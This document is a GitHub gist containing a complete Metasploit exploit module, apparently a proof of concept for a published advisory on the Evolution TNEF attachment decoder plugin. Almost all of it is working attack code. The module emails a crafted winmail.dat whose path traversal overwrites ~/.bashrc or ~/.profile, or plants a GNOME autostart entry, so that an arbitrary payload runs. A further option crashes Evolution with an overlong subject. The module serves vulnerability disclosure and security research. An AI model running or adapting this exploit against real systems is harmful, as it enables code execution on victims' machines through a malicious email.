Created
October 1, 2019 14:10
-
-
Save ykoster/f17665c365051b5d7211acc06577168b to your computer and use it in GitHub Desktop.
yTNEF/Evolution TNEF Attachment decoder plugin directory traversal & buffer overflow vulnerabilities - proof of concept (https://www.akitasecurity.nl/advisory/AK20090601/ytnef_evolution_tnef_plugin_traversal___overflow_vulnerabilities.html)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'msf/core' | |
class Metasploit3 < Msf::Exploit::Remote | |
include Msf::Exploit::Remote::SMTPDeliver | |
def initialize(info = {}) | |
super(update_info(info, | |
'Name' => 'Evolution TNEF Attachment decoder plugin directory traversal and buffer overflow vulnerabilities', | |
'Description' => %q{ | |
The Evolution TNEF Attachment decoder plugin is affected by several | |
directory traversal and buffer overflow vulnerabilities. The directory | |
traversal vulnerabilities allow attackers to overwrite or create local | |
files with the privileges of the target user. Exploiting the buffer | |
overflow vulnerabilities allows for arbitrary code execution with the | |
privileges of the target user. | |
}, | |
'Author' => 'Yorick Koster <[email protected]>', | |
'Version' => '1', | |
'References' => | |
[ | |
['URL', 'http://www.akitasecurity.nl/advisory.php?id=AK20090601'], | |
], | |
'Platform' => ['unix', 'linux', 'bsd'], | |
'Arch' => ARCH_CMD, | |
'Handler' => Msf::Handler::None, | |
'Session' => Msf::Sessions::CommandShell, | |
'Targets' => | |
[ | |
['GNOME (~/.config/autostart/sploit.desktop)', {}], | |
['Bash (~/.bashrc)', {}], | |
['Shell (~/.profile)', {}], | |
['Crash Evolution', {}], | |
], | |
'DefaultTarget' => 0)) | |
register_options( | |
[ | |
OptString.new('MAILSUBJECT', [false, "The subject of the sent email"]) | |
], self.class) | |
end | |
def exploit | |
msg = Rex::MIME::Message.new | |
msg.mime_defaults | |
msg.subject = datastore['MAILSUBJECT'] || Rex::Text.rand_text_alpha(rand(32)+1) | |
msg.to = datastore['MAILTO'] | |
msg.from = datastore['MAILFROM'] | |
body = Rex::Text.encode_base64(create_tnef_exploit(payload), "\r\n") | |
content_type = "application/ms-tnef" | |
content_disposition = "attachment;\r\n\tname=\"winmail.dat\"" | |
msg.add_part(body, content_type, "base64", content_disposition) | |
send_message(msg.to_s) | |
end | |
def create_tnef_exploit(payload) | |
sploit = create_tnef_header | |
filename = "foobar.txt" | |
content = "" | |
if target.name =~ /Bash/ | |
filename = "/../../../../.bashrc\x00" | |
content = "\# ~/.bashrc: executed by bash(1) for non-login shells.\n\n" | |
content << "[ -z \"$PS1\" ] && return\n" | |
content << "export HISTCONTROL=ignoredups\n" | |
content << "export HISTCONTROL=ignoreboth\n" | |
content << "shopt -s checkwinsize\n" | |
content << "if [ -f /etc/bash_completion ]; then\n" | |
content << " . /etc/bash_completion\n" | |
content << "fi\n" | |
content << "\n#{payload.encoded}\n" | |
end | |
if target.name =~ /Shell/ | |
filename = "/../../../../.profile\x00" | |
content = "\# ~/.profile: executed by the command interpreter for login shells.\n\n" | |
content << "if [ -n \"$BASH_VERSION\" ]; then\n" | |
content << " if [ -f \"$HOME/.bashrc\" ]; then\n" | |
content << " . \"$HOME/.bashrc\"\n" | |
content << " fi\n" | |
content << "fi\n\n" | |
content << "if [ -d \"$HOME/bin\" ] ; then\n" | |
content << " PATH=\"$HOME/bin:$PATH\"\n" | |
content << "fi\n" | |
content << "\n#{payload.encoded}\n" | |
end | |
if target.name =~ /GNOME/ | |
filename = "/../../../../.config/autostart/sploit.desktop\x00" | |
content = "[Desktop Entry]\n" | |
content << "Version=1.0\n" | |
content << "Type=Application\n" | |
content << "Name=Sploit\n" | |
content << "Comment=\n" | |
content << "Exec=#{payload.encoded}\n" | |
content << "StartupNotify=false\n" | |
content << "Terminal=false\n" | |
content << "Hidden=false\n" | |
end | |
if target.name =~ /Crash/ | |
# triggers crash through an overly long vcard file name | |
sploit << "\x01" # Level type LVL_MESSAGE | |
sploit << "\x08\x80" # Name attMessageClass (0x8008) | |
sploit << "\x07\x00" # Type atpWord (0x0007) | |
sploit << "\x0c\x00\x00\x00" # Len 0x0000000c | |
sploit << "\x49\x50\x4d\x2e\x43\x6f\x6e\x74\x61\x63\x74\x00" # IPM.Contact | |
sploit << "\xe0\x03" # Checksum | |
subject = Rex::Text.rand_text_alpha(1023) | |
subject << "\x00" | |
sploit << "\x01" # Level type LVL_MESSAGE | |
sploit << "\x04\x80" # Name attSubject (0x8004) | |
sploit << "\x01\x00" # Type atpString (0x0001) | |
sploit << [subject.length].pack("V") # Len | |
sploit << subject | |
sploit << tnef_checksum(subject) # Checksum | |
return sploit | |
end | |
# start of TNEF attachment | |
sploit << "\x02" # Level type LVL_ATTACHMENT | |
sploit << "\x02\x90" # Name attAttachRenddata (0x9002) | |
sploit << "\x06\x00" # Type atpByte (0x0006) | |
sploit << "\x0e\x00\x00\x00" # Len 0x0000000e | |
sploit << "\x01\x00\xff\xff\xff\xff\x20\x00\x20\x00\x00\x00\x00\x00" | |
sploit << "\x3d\x04" # Checksum | |
sploit << "\x02" # Level type LVL_ATTACHMENT | |
sploit << "\x10\x80" # Name attAttachTitle (0x8010) | |
sploit << "\x01\x00" # Type atpString (0x0001) | |
sploit << [filename.length].pack("V") # Len | |
sploit << filename | |
sploit << tnef_checksum(filename) | |
sploit << "\x02" # Level type LVL_ATTACHMENT | |
sploit << "\x0f\x80" # Name attAttachData (0x800f) | |
sploit << "\x06\x00" # Type atpByte (0x0006) | |
sploit << [content.length].pack("V") # Len | |
sploit << content | |
sploit << tnef_checksum(content) | |
return sploit | |
end | |
def create_tnef_header | |
# TNEF Header | |
buf = "\x78\x9f\x3e\x22" # Signature 0x223e9f78 | |
buf << "\x00\x00" # Key | |
# TNEF Attributes | |
buf << "\x01" # Level type LVL_MESSAGE | |
buf << "\x06\x90" # Name attTnefVersion (0x9006) | |
buf << "\x08\x00" # Type atpDword (0x0008) | |
buf << "\x04\x00\x00\x00" # Len 0x00000004 | |
buf << "\x00\x00\x01\x00" | |
buf << "\x01\x00" # Checksum | |
buf << "\x01" # Level type LVL_MESSAGE | |
buf << "\x07\x90" # Name attOemCodepage (0x9007) | |
buf << "\x06\x00" # Type atpByte (0x0006) | |
buf << "\x08\x00\x00\x00" # Len 0x00000008 | |
buf << "\xe4\x04\x00\x00\x00\x00\x00\x00" | |
buf << "\xe8\x00" # Checksum | |
buf << "\x01" # Level type LVL_MESSAGE | |
buf << "\x0d\x80" # Name attPriority (0x800d) | |
buf << "\x04\x00" # Type atpShort (0x0004) | |
buf << "\x02\x00\x00\x00" # Len 0x00000002 | |
buf << "\x02\x00" | |
buf << "\x02\x00" # Checksum | |
return buf | |
end | |
def tnef_checksum(buf = '') | |
checksum = 0; | |
buf.each_byte { |b| | |
checksum += b | |
} | |
return [checksum % 65536].pack("v") | |
end | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment